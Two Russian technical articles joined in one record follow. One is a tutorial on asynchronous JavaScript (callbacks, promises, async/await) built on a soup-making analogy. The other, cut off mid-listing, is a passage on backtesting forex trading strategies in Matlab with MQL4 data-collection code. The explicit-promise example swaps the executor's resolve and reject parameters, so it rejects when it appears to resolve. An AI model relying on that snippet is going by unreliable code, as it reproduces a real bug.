Каждый, кто считает себя JavaScript-разработчиком, в какой-то момент должен был столкнуться с callback-функциями, промисами или, с недавних пор, с синтаксисом async/await. Если вы пробыли в игре достаточно долго, вы, вероятно, застали времена, когда вложенные callback-функции были единственным способом достижения асинхронности в JavaScript.
Когда я начал изучать и писать на JavaScript, уже существовало миллиард руководств и туториалов, объясняющих, как добиться асинхронности в JavaScript. Тем не менее, многие из них просто объясняли, как преобразовать callback-функции в промисы или промисы в async/await. Для многих этого, вероятно, более чем достаточно, чтобы они «поладили» с ними и начали использовать их в своем коде.
Однако если вы, как я, действительно хотите понять асинхронное программирование (а не только синтаксис JavaScript!), то, возможно, вы согласитесь со мной, что существует нехватка материалов, объясняющих асинхронное программирование фактически с нуля.
Что значит «асинхронный»?
-------------------------
Как правило, задавая этот вопрос, вы можете услышать что-то из следующего:
* Существует несколько потоков, которые выполняют код одновременно.
* Более чем один фрагмент кода выполняется одновременно.
* Это параллелизм.
В какой-то степени все варианты правильные. Но вместо того, чтобы давать вам техническое определение, которое вы, вероятно, скоро забудете, я приведу **пример, который сможет понять даже ребенок**.
Пример из жизни
---------------
Представьте, что вы готовите овощной суп. Для хорошей и простой аналогии предположим, что овощной суп состоит только из лука и моркови. Рецепт такого супа может быть следующим:
1. Нарежьте морковь.
2. Нарежьте лук.
3. Добавьте воду в кастрюлю, включите плиту и подождите, пока она закипит.
4. Добавьте морковь в кастрюлю и оставьте на 5 минут.
5. Добавьте лук в кастрюлю и варите еще 10 минут.
Эти инструкции просты и понятны, но если кто-то из вас, читая это, действительно умеет готовить, вы можете сказать, что это не самый эффективный способ приготовления. И будете правы, вот почему:
* Шаги 3, 4 и 5 фактически ***не требуют*** от вас как от шеф-повара ничего делать, кроме как наблюдать за процессом и следить за временем.
* Шаги 1 и 2 ***требуют*** от вас, чтобы вы активно что-то делали.
Следовательно, рецепт более опытного повара может быть следующим:
1. Начните кипятить кастрюлю с водой.
2. **Пока ждете, когда кастрюля закипит,** начните резать морковь.
3. **К тому времени, когда вы закончите** измельчать морковь, вода должна закипеть, поэтому добавьте морковь.
4. **Пока морковь готовится в кастрюле,** нарежьте лук.
5. Добавьте лук и готовьте еще 10 минут.
Несмотря на то, что все действия остались теми же, вы в вправе рассчитывать, что этот вариант будет намного быстрее и эффективнее. Именно в этом заключается принцип асинхронного программирования: **вам никогда не захочется сидеть сложа руки, просто ожидая чего-то, в то время как вы могли бы потратить свое время на какие-нибудь другие полезные дела.**
Все мы знаем, что в программировании **ожидание** чего-либо происходит довольно часто – будь то ожидание HTTP-ответа от сервера или действия от пользователя или что-либо еще. Но циклы выполнения вашего процессора драгоценны и **всегда** должны использоваться активно, делая что-то, а не ожидая: отсюда получается **асинхронное программирование**.
Теперь давайте перейдем к JavaScript, хорошо?
---------------------------------------------
Итак, придерживаясь того же примера овощного супа, я напишу несколько функций для представления шагов рецепта, описанных выше.
Сначала давайте напишем синхронные функции, которые представляют задачи, не требующие ожидания времени. Это старые добрые функции JavaScript, но обратите внимание, что я описал функции **`chopCarrots`** и **`chopOnions`** как задачи, требующие активной работы (и времени), позволяя им выполнять некоторые длинные вычисления. Полный код доступен в конце статьи [1].
```
function chopCarrots() {
/*
Тут длинные вычисления...
*/
console.log("Морковь нарезана!");
}
function chopOnions() {
/*
Тут длинные вычисления...
*/
console.log("Лук нарезан!");
}
function addOnions() {
console.log("Лук в кастрюлю добавлен!");
}
function addCarrots() {
console.log("Морковь в кастрюлю добавлена!");
}
```
Перед тем, как перейти к асинхронным функциям, сначала я быстро объясню, как система типов JavaScript обрабатывает асинхронность: в основном **все результаты (включая ошибки) асинхронных операций должны быть обернуты в промис(ы)**.
Чтобы функция возвращала промис, вы можете:
* явно вернуть промис, т.е. **`return new Promise(…)`**;
* неявно вернуть промис – добавить ключевое слово **`async`** к объявлению функции, т.е. **`async function foo()`**;
* *использовать оба варианта*.
Есть отличная статья [2], в которой рассказывается о разнице асинхронных функций и функций, возвращающих промис. Поэтому в своей статье я не буду подробно останавливаться на этой теме, главное запомните: вы ***всегда*** должны использовать ключевое слово **`async`** в асинхронных функциях.
Итак, наши асинхронные функции, представляющие шаги 3–5 приготовления овощного супа, выглядят следующим образом:
```
async function letPotKeepBoiling(time) {
return; // Возвращаем промис, чтобы кастрюля кипела определенное время
}
async function boilPot() {
return; // Возвращаем промис, чтобы довести суп до состояния кипения
}
```
Ещё раз, я удалил детали реализации, чтобы на них не отвлекаться, но они опубликованы в конце статьи [1].
Важно знать, что для того, чтобы дождаться результата промиса, чтобы потом можно было с ним что-то делать, вы можете просто использовать ключевое слово **`await`**:
```
async function asyncFunction() {
/* Возвращаем промис... */
}
result = await asyncFunction();
```
Итак, теперь нам просто нужно собрать все это вместе:
```
function makeSoup() {
const pot = boilPot();
chopCarrots();
chopOnions();
await pot;
addCarrots();
await letPotKeepBoiling(5);
addOnions();
await letPotKeepBoiling(10);
console.log("Ваш овощной суп готов!");
}
makeSoup();
```
Но подождите! Это не работает! Вы увидите ошибку **`SyntaxError: await is only valid in async functions`**. Почему? Потому что, если вы не объявляете функцию с помощью ключевого слова **`async`**, то по умолчанию JavaScript определяет ее как синхронную функцию – а синхронный означает отсутствие ожидания! [3]. Это также значит, что вы не можете использовать **`await`** за пределами функции.
Следовательно, мы просто добавляем ключевое слово **`async`** в функцию **`makeSoup`**:
```
async function makeSoup() {
const pot = boilPot();
chopCarrots();
chopOnions();
await pot;
addCarrots();
await letPotKeepBoiling(5);
addOnions();
await letPotKeepBoiling(10);
console.log("Ваш овощной суп готов!");
}
makeSoup();
```
И вуаля! Обратите внимание, что во второй строке я вызываю асинхронную функцию **`boilPot`** без ключевого слова **`await`**, потому что мы не хотим ждать, пока кастрюля закипит, прежде чем начать резать морковь. Мы ожидаем только промис **`pot`** в пятой строке, прежде чем нам нужно будет положить морковь в кастрюлю, потому что мы не хотим делать это до того, как вода закипит.
Что происходит во время вызовов **`await`**? Ну, ничего… вроде…
В контексте функции **`makeSoup`** вы можете просто думать о ней как о том, что вы ожидаете, что что-то произойдет (или результат, который в конечном итоге будет возвращен).
Но помните: **вы (как и ваш процессор) никогда не захотите просто сидеть и ждать чего-то, в то время как можно потратить свое время на другие дела**.
Следовательно, вместо того, чтобы только готовить суп, мы могли бы параллельно готовить что-то еще:
```
makeSoup();
makePasta();
```
Пока мы ожидаем **`letPotKeepBoiling`**, мы можем, например, готовить пасту.
Видите? Синтаксис async/await на самом деле довольно прост в использовании, если вы его понимаете, согласны?
Что насчет явных промисов?
--------------------------
Хорошо, если вы настаиваете, я перейду к использованию явных промисов (*прим. перев.: под явными промисами автор подразумевает непосредственно сам синтаксис промисов, а под неявными промисами – синтаксис async/await, т.к. он возвращает промис неявно – не нужно писать `return new Promise(…)`*). Имейте в виду, что методы async/await **основаны на самих промисах и, следовательно, оба варианта полностью совместимы**.
Явные промисы, на мой взгляд, находятся между callback-функциями старого стиля и новым сексуальным синтаксисом async/await. В качестве альтернативы, вы также можете думать о сексуальном синтаксисе async/await как о не более чем неявных промисах. В конце концов, конструкция async/await пришла после промисов, которые, в свою очередь, пришли после callback-функций.
Воспользуйтесь нашей машиной времени, чтобы переместиться в «ад обратных вызовов» (callback hell) [4]:
```
function callbackHell() {
boilPot(
() => {
addCarrots();
letPotKeepBoiling(() => {
addOnions();
letPotKeepBoiling(() => {
console.log("Ваш овощной суп готов!");
}, 1000);
}, 5000);
},
5000,
chopCarrots(),
chopOnions()
);
}
```
Я не собираюсь лгать, я написал этот пример на лету, когда работал над этой статьей, и это заняло у меня гораздо больше времени, чем я хотел бы признать. Многие из вас, возможно, даже не будут знать, что вообще тут происходит. ***Мой дорогой друг, разве все эти callback-функции не ужасны? Пусть это будет уроком, чтобы никогда больше не использовать callback-функции...***
И, как и обещал, тот же пример с явными промисами:
```
function makeSoup() {
return Promise.all([
new Promise((reject, resolve) => {
chopCarrots();
chopOnions();
resolve();
}),
boilPot()
])
.then(() => {
addCarrots();
return letPotKeepBoiling(5);
})
.then(() => {
addOnions();
return letPotKeepBoiling(10);
})
.then(() => {
console.log("Ваш овощной суп готов!");
});
}
```
Как видите, промисы все еще похожи на callback-функции.
Я не буду вдаваться в подробности, но главное:
* **`.then`** — это метод промиса, который берет его результат и передает его в функцию аргумента (по сути, в callback-функцию…)
* Вы никогда не сможете использовать результат промиса вне контекста **`.then`**. По сути, .then похож на асинхронный блок, который ожидает результат, а затем передает его в callback-функцию.
* Помимо метода **`.then`**, в промисах существует еще один метод — **`.catch`**. Он нужен для обработки ошибок в промисах. Но я не буду вдаваться в детали, потому что на эту тему уже есть миллиард статей и туториалов.
Заключение
----------
Я надеюсь, что вы получили некоторое представление о промисах и асинхронном программировании из этой статьи или, возможно, хотя бы узнали о хорошем примере из жизни, чтобы объяснить это кому-то еще.
**Итак, какой из способов вам использовать: промисы или async/await?**
Ответ полностью зависит от вас — и я бы сказал, что совмещать их не так уж и плохо, так как оба подхода полностью совместимы друг с другом.
Тем не менее, лично я нахожусь на 100% в лагере async/await, так как для меня код намного понятнее и лучше отражает истинную многозадачность асинхронного программирования.
---
**[1]**: Полный исходный код доступен [здесь](https://gist.github.com/jackel119/b0599ff78e2a14b07439dd251dad464c#file-complete-js).
**[2]**: Оригинал статьи [«Async function vs. a function that returns a Promise»](https://dev.to/mywebstuff_hq/async-function-vs-a-function-that-returns-a-promise-3lpo), перевод статьи [«Разница между асинхронной функцией и функцией, возвращающей промис»](https://habr.com/ru/post/475260/).
**[3]**: Вы можете утверждать, что JavaScript, вероятно, может определять тип async/await по телу функций и рекурсивно проверять, но JavaScript не был разработан для того, чтобы заботиться о безопасности статического типа во время компиляции, не говоря уже о том, что разработчикам намного удобнее явно видеть тип функции.
**[4]**: Я написал «асинхронные» функции, предполагая, что они работают под тем же интерфейсом, что и **`setTimeout`**. Обратите внимание, что callback-функции несовместимы с промисами и наоборот. | https://habr.com/ru/post/474726/ | null | ru | null |
# Возможности Matlab для разработки и тестирования механистических торговых систем
Думаю, обосновывать необходимость тщательного тестирования и подбора параметров торговых стратегий нет необходимости… Лучше поясню, почему именно Matlab.
В торговом терминале MetaTrader есть встроенная система тестирования и настройки торговых стратегий, позволяющая прогнать стратегию на заданном участке истории и посмотреть на результаты торговли как в графическом представлении, так и в виде таблички с характеристиками эффективности работы данной стратегии на данном участке истории. Как это выглядит для стратегии Nova, смотрите ниже.
На мой взгляд, эта система тестирования обладает рядом существенных недостатков:
1) Нельзя использовать реальные тиковые данные, можно их только моделировать по хранящимся на сервере данным минутных, 5-минутных, 15-минутных и т.д. таймфреймов;
2) Для подбора оптимальных параметров стратегии достаточно скудный набор доступных оптимизационных процедур;
3) Чуть более разнообразный, но всё же недостаточный набор целевых показателей торговой стратегии, которые можно оптимизировать;
4) Сама среда разработки торговых стратегий подходит для самого минимального программирования, не впечатляет разнообразием возможностей и доступного инструментария.
А хотелось бы иметь возможности использовать тиковые (или хотя бы ежесекундные) данные для точного моделирования торговых ситуаций, создания торговых стратегий любого уровня математической сложности, описания своих авторских критериев оценки качества стратегии, искать оптимальные параметры различными оптимизационными процедурами и т.д.
Всё это возможно при использовании Matlab в качестве платформы разработки и тестирования стратегий. От MetaTrader нам понадобятся исходные данные (в моём примере: ежесекундные текущие цены по 27-ми валютным парам). Потом MetaTrader всё-таки будет использоваться для работы с готовой торговой стратегией, реализованной, например, в виде DLL, но вся самая творческая часть создания системы произойдёт в более математической среде.
Данные собираются пользовательским индикатором, код которого на MQL4 выглядит так:
```
//+------------------------------------------------------------------+
//| pack_collector.mq4 |
//| Copyright 2014, JamaGava |
//| |
//+------------------------------------------------------------------+
#property copyright "Copyright 2014, JamaGava"
#property link ""
#property version "1.00"
#property strict
int filehandleData;
int filehandleHead;
int filehandleVolHead;
int filehandleVolData;
//+------------------------------------------------------------------+
//| Expert initialization function |
//+------------------------------------------------------------------+
int OnInit()
{
EventSetTimer(1);
filehandleData = FileOpen("tickPack.csv",FILE_WRITE|FILE_CSV);
filehandleHead = FileOpen("tickPackHead.csv",FILE_WRITE|FILE_CSV);
filehandleVolHead = FileOpen("tickPackVolumeHead.csv",FILE_WRITE|FILE_CSV);
filehandleVolData = FileOpen("tickPackVolume.csv",FILE_WRITE|FILE_CSV);
FileWrite(filehandleHead,
"bid:AUD/USD", "ask:AUD/USD",
"bid:EUR/USD", "ask:EUR/USD",
"bid:GBP/USD", "ask:GBP/USD",
"bid:NZD/USD", "ask:NZD/USD",
"bid:USD/CAD", "ask:USD/CAD",
"bid:USD/CHF", "ask:USD/CHF",
"bid:USD/JPY", "ask:USD/JPY",
"bid:AUD/CAD", "ask:AUD/CAD",
"bid:AUD/CHF", "ask:AUD/CHF",
"bid:AUD/NZD", "ask:AUD/NZD",
"bid:CAD/CHF", "ask:CAD/CHF",
"bid:EUR/AUD", "ask:EUR/AUD",
"bid:EUR/CAD", "ask:EUR/CAD",
"bid:EUR/CHF", "ask:EUR/CHF",
"bid:EUR/GBP", "ask:EUR/GBP",
"bid:EUR/NZD", "ask:EUR/NZD",
"bid:GBP/AUD", "ask:GBP/AUD",
"bid:GBP/CAD", "ask:GBP/CAD",
"bid:GBP/CHF", "ask:GBP/CHF",
"bid:GBP/NZD", "ask:GBP/NZD",
"bid:NZD/CAD", "ask:NZD/CAD",
"bid:NZD/CHF", "ask:NZD/CHF",
"bid:AUD/JPY", "ask:AUD/JPY",
"bid:CAD/JPY", "ask:CAD/JPY",
"bid:CHF/JPY", "ask:CHF/JPY",
"bid:EUR/JPY", "ask:EUR/JPY",
"bid:GBP/JPY", "ask:GBP/JPY",
"bid:NZD/JPY", "ask:NZD/JPY"
);
FileWrite(filehandleVolHead,
"volume:AUD/USD",
"volume:EUR/USD",
"volume:GBP/USD",
"volume:NZD/USD",
"volume:USD/CAD",
"volume:USD/CHF",
"volume:USD/JPY",
"volume:AUD/CAD",
"volume:AUD/CHF",
"volume:AUD/NZD",
"volume:CAD/CHF",
"volume:EUR/AUD",
"volume:EUR/CAD",
"volume:EUR/CHF",
"volume:EUR/GBP",
"volume:EUR/NZD",
"volume:GBP/AUD",
"volume:GBP/CAD",
"volume:GBP/CHF",
"volume:GBP/NZD",
"volume:NZD/CAD",
"volume:NZD/CHF",
"volume:AUD/JPY",
"volume:CAD/JPY",
"volume:CHF/JPY",
"volume:EUR/JPY",
"volume:GBP/JPY",
"volume:NZD/JPY"
);
FileClose(filehandleHead);
FileClose(filehandleVolHead);
return(INIT_SUCCEEDED);
}
//+------------------------------------------------------------------+
//| Expert deinitialization function |
//+------------------------------------------------------------------+
void OnDeinit(const int reason)
{
EventKillTimer();
FileClose(filehandleData);
}
//+------------------------------------------------------------------+
//| Timer function |
//+------------------------------------------------------------------+
void OnTimer()
{
FileWrite(filehandleData,
MarketInfo("AUDUSD", MODE_BID), MarketInfo("AUDUSD", MODE_ASK),
MarketInfo("EURUSD", MODE_BID), MarketInfo("EURUSD", MODE_ASK),
MarketInfo("GBPUSD", MODE_BID), MarketInfo("GBPUSD", MODE_ASK),
MarketInfo("NZDUSD", MODE_BID), MarketInfo("NZDUSD", MODE_ASK),
MarketInfo("USDCAD", MODE_BID), MarketInfo("USDCAD", MODE_ASK),
MarketInfo("USDCHF", MODE_BID), MarketInfo("USDCHF", MODE_ASK),
MarketInfo("USDJPY", MODE_BID), MarketInfo("USDJPY", MODE_ASK),
MarketInfo("AUDCAD", MODE_BID), MarketInfo("AUDCAD", MODE_ASK),
MarketInfo("AUDCHF", MODE_BID), MarketInfo("AUDCHF", MODE_ASK),
MarketInfo("AUDNZD", MODE_BID), MarketInfo("AUDNZD", MODE_ASK),
MarketInfo("CADCHF", MODE_BID), MarketInfo("CADCHF", MODE_ASK),
MarketInfo("EURAUD", MODE_BID), MarketInfo("EURAUD", MODE_ASK),
MarketInfo("EURCAD", MODE_BID), MarketInfo("EURCAD", MODE_ASK),
MarketInfo("EURCHF", MODE_BID), MarketInfo("EURCHF", MODE_ASK),
MarketInfo("EURGBP", MODE_BID), MarketInfo("EURGBP", MODE_ASK),
MarketInfo("EURNZD", MODE_BID), MarketInfo("EURNZD", MODE_ASK),
MarketInfo("GBPAUD", MODE_BID), MarketInfo("GBPAUD", MODE_ASK),
MarketInfo("GBPCAD", MODE_BID), MarketInfo("GBPCAD", MODE_ASK),
MarketInfo("GBPCHF", MODE_BID), MarketInfo("GBPCHF", MODE_ASK),
MarketInfo("GBPNZD", MODE_BID), MarketInfo("GBPNZD", MODE_ASK),
MarketInfo("NZDCAD", MODE_BID), MarketInfo("NZDCAD", MODE_ASK),
MarketInfo("NZDCHF", MODE_BID), MarketInfo("NZDCHF", MODE_ASK),
MarketInfo("AUDJPY", MODE_BID), MarketInfo("AUDJPY", MODE_ASK),
MarketInfo("CADJPY", MODE_BID), MarketInfo("CADJPY", MODE_ASK),
MarketInfo("CHFJPY", MODE_BID), MarketInfo("CHFJPY", MODE_ASK),
MarketInfo("EURJPY", MODE_BID), MarketInfo("EURJPY", MODE_ASK),
MarketInfo("GBPJPY", MODE_BID), MarketInfo("GBPJPY", MODE_ASK),
MarketInfo("NZDJPY", MODE_BID), MarketInfo("NZDJPY", MODE_ASK)
);
FileWrite(filehandleVolData,
iVolume("AUDUSD", PERIOD_H1,0),
iVolume("EURUSD", PERIOD_H1,0),
iVolume("GBPUSD", PERIOD_H1,0),
iVolume("NZDUSD", PERIOD_H1,0),
iVolume("USDCAD", PERIOD_H1,0),
iVolume("USDCHF", PERIOD_H1,0),
iVolume("USDJPY", PERIOD_H1,0),
iVolume("AUDCAD", PERIOD_H1,0),
iVolume("AUDCHF", PERIOD_H1,0),
iVolume("AUDNZD", PERIOD_H1,0),
iVolume("CADCHF", PERIOD_H1,0),
iVolume("EURAUD", PERIOD_H1,0),
iVolume("EURCAD", PERIOD_H1,0),
iVolume("EURCHF", PERIOD_H1,0),
iVolume("EURGBP", PERIOD_H1,0),
iVolume("EURNZD", PERIOD_H1,0),
iVolume("GBPAUD", PERIOD_H1,0),
iVolume("GBPCAD", PERIOD_H1,0),
iVolume("GBPCHF", PERIOD_H1,0),
iVolume("GBPNZD", PERIOD_H1,0),
iVolume("NZDCAD", PERIOD_H1,0),
iVolume("NZDCHF", PERIOD_H1,0),
iVolume("AUDJPY", PERIOD_H1,0),
iVolume("CADJPY", PERIOD_H1,0),
iVolume("CHFJPY", PERIOD_H1,0),
iVolume("EURJPY", PERIOD_H1,0),
iVolume("GBPJPY", PERIOD_H1,0),
iVolume("NZDJPY", PERIOD_H1,0)
);
}
//+------------------------------------------------------------------+
```
Итак, данные собираются и сохраняются в файлах CSV. В строках записываются текущие котировки, в столбцах: весь ряд котировок bid и ask для каждой валютной пары. Итого, столбцов в 2 раза больше, чем рассматриваемых валютных пар.
Допустим, у нас нет возможности держать компьютер с работающим MetaTrader непрерывно, тогда данные будут поступать блоками: загрузили, закрыли программу, переименовали файл, чтобы не затёрся, можем вновь запускать и т.д.
На данный момент, у меня собраны данные за 16 недель. Причём размер данных различный из-за того, что сбор начинался «где-то в первой половине дня» в понедельника, а завершался в пятницу «примерно после обеда». Поэтому придётся мириться с тем, что все массивы с блоками данных разного размера. В Matlab я их загружаю следующим образом:
Скрипт loadPrices.m:
```
global PRICES;
N = 16;
PRICES = cell( N, 1 );
fNames = {
'C:\matlabR2008a_win\work\frx\DATA\1\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\2\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\3\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\4\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\5\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\6\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\7\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\8\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\9\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\10\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\11\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\12\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\13\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\14\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\15\tickPack.csv';
'C:\matlabR2008a_win\work\frx\DATA\16\tickPack.csv';
};
for i = 1:N
PRICES{ i } = load( fNames{ i } );
display( i );
end
```
В итоге все блоки данных сохранены в глобальной переменной PRICES, представляющей собой 16 ячеек.
Теперь, основная идея: стратегии должны создаваться таким образом, что на вход они принимают только свои параметры. Все исходные данные передаются через глобальные переменные. В ходе выполнения стратегии, при каждом закрытии сделки корректируются глобальные переменные, которые характеризуют качество работы стратегии. Для оптимизации этих характеристик создаём «оболочку», внутри которой глобальные переменные инициализируются, выбирается какой из показателей работы стратегии будет возвращаться как параметр, и, собственно, вызывается стратегия.
Скрипт testStrat.m:
```
function [R] = testStrat( P )
global DrawDown;
global Recovery;
global Equity;
global DealsNumber;
global MeanDeal;
global DealsSigma;
global Sharp;
global ProfitFactor;
global ProfitDealsNumber;
global ProfitDealsRate;
global ProfitMean;
global LossDealsNumber;
global LossDealsRate;
global LossMean;
global returnParamIndex;
global stratName;
initRates( 0 );
feval( stratName, P );
switch( returnParamIndex )
case 1
R = DrawDown;
case 2
R = -Recovery;
case 3
R = -Equity;
case 4
R = -DealsNumber;
case 5
R = -MeanDeal;
case 6
R = DealsSigma;
case 7
R = -Sharp;
case 8
R = -ProfitFactor;
case 9
R = -ProfitDealsNumber;
case 10
R = -ProfitDealsRate;
case 11
R = -ProfitMean;
case 12
R = LossDealsNumber;
case 13
R = LossDealsRate;
case 14
R = LossMean;
case 0
R = struct( ...
'DrawDown', DrawDown, ...
'Recovery', Recovery, ...
'Equity', Equity, ...
'DealsNumber', DealsNumber, ...
'MeanDeal', MeanDeal, ...
'DealsSigma', DealsSigma, ...
'Sharp', Sharp, ...
'ProfitFactor', ProfitFactor, ...
'ProfitDealsNumber', ProfitDealsNumber, ...
'ProfitDealsRate', ProfitDealsRate, ...
'ProfitMean', ProfitMean, ...
'LossDealsNumber', LossDealsNumber, ...
'LossDealsRate', LossDealsRate, ...
'LossMean', LossMean ...
);
end
```
Название скрипта, реализующего стратегию, передаётся через глобальную переменную stratName. Характеристика стратегии, которая будет возвращаться определяется переменной returnParamIndex, если значение 0, то возвращаются все характеристики в составе структуры.
Обратите внимание, что все значения которые «чем больше тем лучше» стоят с минусом, это сделано для универсализации оптимизации: всегда минимизировать целевой параметр.
Собственно, характеристики системы:
DrawDown — максимальная просадка (максимальная разность между предшествующим максимумом и текущим значением);
Recovery — фактор восстановления (отношение итогового выигрыша к максимальной просадке);
Equity — итоговый выигрыш;
DealsNumber — количество сделок;
MeanDeal — средний доход по сделке;
DealsSigma — стандартное отклонение доходов по каждой сделке от среднего значения;
Sharp — коэффициент Шарпа (отношение среднего дохода по сделке к стандартному отклонению доходов по сделкам от среднего значения);
ProfitFactor — профит фактор (отношение суммарной прибыли к суммарному убытку);
ProfitDealsNumber — число выигрышных сделок;
ProfitDealsRate — доля выигрышных сделок;
ProfitMean — средний выигрыш (за успешную сделку);
LossDealsNumber — число убыточных сделок;
LossDealsRate — доля убыточных сделок;
LossMean — средний проигрыш (за убыточную сделку).
Инициализируются эти показатели функцией initRates.m
```
function [z] = initRates( mode )
global DrawDown;
global Recovery;
global Equity;
global DealsNumber;
global MeanDeal;
global DealsSigma;
global Sharp;
global ProfitFactor;
global ProfitDealsNumber;
global ProfitDealsRate;
global ProfitMean;
global LossDealsNumber;
global LossDealsRate;
global LossMean;
global maxEquity;
global dealSqr;
global totalProfit;
global totalLoss;
z = mode;
maxEquity = 0;
dealSqr = 0;
totalProfit = 0;
totalLoss = 0;
if mode == 0
DrawDown = 0;
Recovery = 0;
Equity = 0;
DealsNumber = 0;
MeanDeal = 0;
DealsSigma = 0;
Sharp = 0;
ProfitFactor = 0;
ProfitDealsNumber = 0;
ProfitDealsRate = 0;
ProfitMean = 0;
LossDealsNumber = 0;
LossDealsRate = 0;
LossMean = 0;
else
DrawDown = 1000;
Recovery = -1000;
Equity = -1000;
DealsNumber = 0;
MeanDeal = -1000;
DealsSigma = 1000;
Sharp = -1000;
ProfitFactor = 0;
ProfitDealsNumber = 0;
ProfitDealsRate = 0;
ProfitMean = 0;
LossDealsNumber = 100000;
LossDealsRate = 1000;
LossMean = 1000;
end
```
Причём, могут иниализироваться как 0, так и заведомо плохими значениями (определяется входным параметром). Зачем нужна плохая инициализация, будет показано ниже, при рассмотрении конкретной стратегии. Обратите внимание, что инициализируются несколько вспомогательных переменных:
*maxEquity, dealSqr, totalProfit, totalLoss,*
которые используются в следующем листинге.
В ходе выполнения стратегии, при каждом закрытии сделки, будем обновлять характеристики работы стратегии. Для этого используем функцию updateStratRates.m:
```
function [z] = updateStratRates( dealResult )
z = sign( dealResult );
global DrawDown;
global Recovery;
global Equity;
global DealsNumber;
global MeanDeal;
global DealsSigma;
global Sharp;
global ProfitFactor;
global ProfitDealsNumber;
global ProfitDealsRate;
global ProfitMean;
global LossDealsNumber;
global LossDealsRate;
global LossMean;
global maxEquity;
global dealSqr;
global totalProfit;
global totalLoss;
Equity = Equity + dealResult;
if Equity > maxEquity
maxEquity = Equity;
end
down = maxEquity - Equity;
if down > DrawDown
DrawDown = down;
end
Recovery = Equity / DrawDown;
DealsNumber = DealsNumber + 1;
MeanDeal = Equity / DealsNumber;
dealSqr = dealSqr + dealResult^2;
DealsSigma = sqrt( (dealSqr / DealsNumber) - MeanDeal^2 );
Sharp = MeanDeal / DealsSigma;
if dealResult > 0
ProfitDealsNumber = ProfitDealsNumber + 1;
totalProfit = totalProfit + dealResult;
ProfitMean = totalProfit / ProfitDealsNumber;
else
LossDealsNumber = LossDealsNumber + 1;
totalLoss = totalLoss + dealResult;
LossMean = totalLoss / LossDealsNumber;
end
ProfitFactor = -totalProfit / totalLoss;
ProfitDealsRate = ProfitDealsNumber / DealsNumber;
LossDealsRate = 1 - ProfitDealsRate;
```
Собственно, вот и вся инфраструктура для тестирования стратегий. Теперь можно описать стратегию в виде функции, принимающей на вход набор параметров, вызывающей initRates вначале и updateStratRates с результатом каждой закрывающейся сделки.
Исходные данные можно получить, например так:
```
global pairIndex; % номер/номера интересующей валютной пары/пар
global DATA; % блоки данных
global dataBlocksNumber; % количество блоков данных (в нашем примере 16)
```
Теперь подробнее о торговой системе, twoEMA, на примере которой которой покажу, как это всё работает.
Идея системы состоит в использовании двух экспоненциальных скользящих средних. Вход в рынок осуществляется при соблюдении следующих условий:
Покупка/продажа осуществляется, если выполняются все условия:
1) Быстрая скользящая средняя выше/ниже медленной не менее чем на определённое количество 4-х значных пунктов;
2) Цена открытия таймфрейма выше/ниже быстрой скользящей средней;
3) Нет текущих открытых сделок.
Закрытие при выполнении любого из условий:
1) Достижение установленного значения прибыли по текущей сделке;
2) Достижение установленного значения убытка по текущей сделке (tralling stop-loss по мере роста дохода по сделке он подтягивается к текущей цене, вплоть до достижения безубыточных значений);
3) Появление условий 1 и 2 на открытие сделки в противоположную сторону.
Входные параметры для сделки это: длина таймфрейма в секундах, параметры скользящих средних в единицах измерения 0.0001, «зазор» между скользящими средними для открытия сделки, значения фиксации прибыли и убытка в четырёхзначных пунктах.
Кроме того, предусмотрим два режима работы стратегии: отладочный и демонстрационный.
В демонстрационном режиме, в отличие от отладочного, ведётся оценка не только закрытых сделок, но так же и открытых, для которых оценивается максимальная прибыль по сделке, максимальный убыток по сделке а так же итоговый доход/потери на момент закрытия сделки.
Таким образом, каждая сделка может быть представлена стандартным «баром» вместо традиционного линейного графика Equity. Прибыль считается в 4-х значных пунктах.
twoEMA.m:
```
function [Z] = twoEma( P )
%{
+---------------------------------------------------------------+
! !
! Parameters: !
! timeframe = P(1) !
! E1 - slow EMA with alpha = P(2) !
! E2 - fast EMA with alpha = P(3) !
! !
! Open: !
! long deal: (openPrice >= E2 > E1) & abs(E1 - E2) >= P(4) !
! short deal: (openPrice <= E2 < E1) & abs(E1 - E2) >= P(4) !
! !
! Close: !
! by trailing Stop-loss or by Take profit !
! !
+---------------------------------------------------------------+
%}
global pairIndex;
global DATA;
global dataBlocksNumber;
global WithPlot; % демонстрационный или отладочный режим
global EQ; % бары Equity
global eqCounter; % число баров
% проверка значений входных параметров на допустимость
if or( P( 1 ) < 0, ...
or( P( 4 ) * 0.0001 <= 0, ...
or( P( 5 ) * 0.0001 <= 0, ...
or( P( 6 ) * 0.0001 <= 0, ...
or( ...
or( P( 2 ) * 0.0001 <= 0, P( 2 ) * 0.0001 >= 1 ), ...
or( P( 3 ) * 0.0001 <= P( 2 ) * 0.0001, P( 3 ) * 0.0001 >= 1 ) ...
) ...
) ...
) ...
) ...
)
initRates( 1 ); % если значения входных параметров недопустимы, то характеристики стратегии
% инициализируем заведомо плохими значениями
Z = 1;
return;
end
initRates( 0 ); % инициализация значений параметров стратегии
% инициализация значений бара текущей сделки
currEQopen = 0;
currEQmin = 0;
currEQmax = 0;
currEQclose = 0;
TF = round( P( 1 ) ); % длина таймфрейма
for currBlock = 1:dataBlocksNumber
currData = DATA{ currBlock };
dataSize = size( currData );
dataLen = dataSize( 1 );
tfNumb = ceil( dataLen / TF );
% подготовка массивов bid и ask для текущего блока данных
bidPrices = currData( :, 2 * ( pairIndex - 1) + 1 );
askPrices = currData( :, 2 * pairIndex );
% инициализация рабочих переменных
dealDir = 0;
openDealPrice = 0;
stopLoss = 0;
takeProfit = 0;
currDeal = 0;
signal = 0;
E1 = bidPrices( 1 );
E2 = bidPrices( 1 );
currTime = 1;
for t = 2:tfNumb % по всем таймфреймам...
currTime = currTime + TF;
% определяем длину таймфрейма (последний таймфрейм может быть
% короче остальных)
barLen = TF;
